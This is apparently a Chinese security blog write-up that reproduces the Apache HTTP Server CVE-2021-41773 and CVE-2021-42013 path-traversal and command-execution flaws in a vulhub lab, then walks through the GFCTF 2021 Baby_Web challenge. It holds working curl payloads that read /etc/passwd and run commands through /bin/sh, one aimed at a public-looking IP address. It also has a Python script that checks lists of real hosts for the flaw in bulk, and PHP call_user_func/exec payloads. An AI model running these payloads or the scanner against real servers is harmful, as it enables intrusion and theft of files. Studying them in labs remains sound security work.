0x00漏洞概述
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
影响版本
Apache HTTP Server 2.4.49以及2.4.50
0x01环境搭建
cd vulhub/httpd/CVE-2021-41773
docker-compose up -d
访问yourip:8080
然后这个是2.4.49网上的payload
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
然后是2.4.50进行了修复。
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录)
然后就是这两个都能在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令
ScriptAlias指令使Apache允许执行一个特定目录中的CGI程序。当客户端请求此特定目录中的资源时,Apache假定其中所有的文件都是CGI程序并试图运行它。
ScriptAlias与Alias指令非常相似,都是定义了映射到一个特定目录的URL前缀,两者一般都用于指定位于DocumentRoot以外的目录,其不同之处是ScriptAlias又多了一层含义,即URL前缀后面的任何文件都被视为CGI程序。所以,上述例子会指示Apache:任何以/cgi-bin/开头的资源都将映射到/usr/local/apache2/cgi-bin/目录中,且视之为CGI程序。
例如,如果有URL为http://www.example.com/cgi-bin/test.pl的请求,Apache会试图执行/usr/local/apache2/cgi-bin/test.pl文件并返回其输出。当然,这个文件必须存在而且可执行,并以特定的方法产生输出,否则Apache返回一个出错消息。
curl --data "echo;ls /" http://192.168.153.138:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
curl --data "echo;id" http://121.41.59.127:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
CVE-2021-42013使用.%%32%65进行绕过就行
我只是跟着网上payload复现,底层的东西没有去深挖
具体了解去看看这篇文章
Apache httpd Server CVE-2021-41773 漏洞分析
0X02修复方案
升级到最新版的Apache HTTP Server 安全版本。
0X03工具利用
批量检测脚本
import urllib.request
import ssl
from colorama import init
#添加Headers信息
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',
}
for ip in open('server=Apache2.4.49.txt','r'):
ipv = ip.strip('\r\n')
url = f'{ipv}/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'#icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passw
#防止ssl报错
context = ssl._create_unverified_context()
try:
re = urllib.request.Request(url=url,headers=headers)
response = urllib.request.urlopen(re,context=context,timeout=3)
response = response.read().decode('utf-8')
if "root:x:" in str(response):
print(f"\033[0;31m{url}\033[0m 可能存在漏洞")
with open('vul.txt','a',encoding='utf-8') as f:
f.write(ipv+"\r")
else:
print(f"{ipv}不存在漏洞")
except Exception as w:
print(f"{ipv}不存在漏洞")
0x04环境实战
[GFCTF 2021]Baby_Web
打开环境
所以要我们读取上层目录的某个文件 所以我想应该会存在任意文件读取和路径穿越漏洞
利用cve的payload我们来读一下index.php.txt
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
我们取读取Class.php 发现直接读不行 和之前一样Class.php.txt
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
在index.php中get传参
它对我们传参的值进行display方法
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
然后经过extract,再进行getTempName方法
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
这里给了个目录/template/admin/
我们试着直接访问一下
我们会发现 它会调用listdata方法
然后我们在listadta方法中发现危险函数
$rt = call_user_func_array($param['name'], $p);
$rt = call_user_func($param['name']);
方法一:
利用call_user_func
所以我们来梳理一下思路
我们要调用这个函数,我们需要调用listdata方法,要这个listdata方法就需要进入template/admin/index.html这个页面,就需要先让dir === 'admin',所以就是让space=admin,然后$template=index.html,就是filename=index.html,但是调用listdata方法 我们也需要传参mod变量
带着走一遍代码审计吧
$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {//遍历新⽣成的数组
$var = substr($t, 0, strpos($t, '='));//key
$val = substr($t, strpos($t, '=') + 1);//value
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;//数组定义
}
}
这就是数组定义的流程
switch ($system['action']) {//把key为action的值来比较
case 'function':
if (!isset($param['name'])) {//必须有key为name
return 'hacker!!';
} elseif (!function_exists($param['name']))//还必须被定义
{
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];//我们只需要这一步定义
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);//利用的key为name的value值
}
所以payload很简单了
URL?filename=index.html
(POST)space=admin&mod=m1kael action=function name=phpinfo
找到flag
方法二
利用call_user_func_array
通过上个函数的利用我们发现exec未被禁用
我们可以利用这个函数 唯一不同的地方就是
if (!$force) {
$p = [];//我们只需要这一步定义
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
还需要数组的一个key为param它的value为我们的命令
name的value值为exec即可进行命令执行
但是之前分割数组的时候过滤了空格 所以命令执行中的空格可以用${IFS}绕过
所以来试试
URL?filename=index.html
(POST)space=admin&mod=m1kael action=function name=exec param=ls${IFS}/>/var/www/html/a
然后我们再访问a 成功
继续得到flag
URL?filename=index.html
(POST)space=admin&mod=m1kael action=function name=exec param=cat${IFS}/f11111111aaaagggg>/var/www/html/a
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!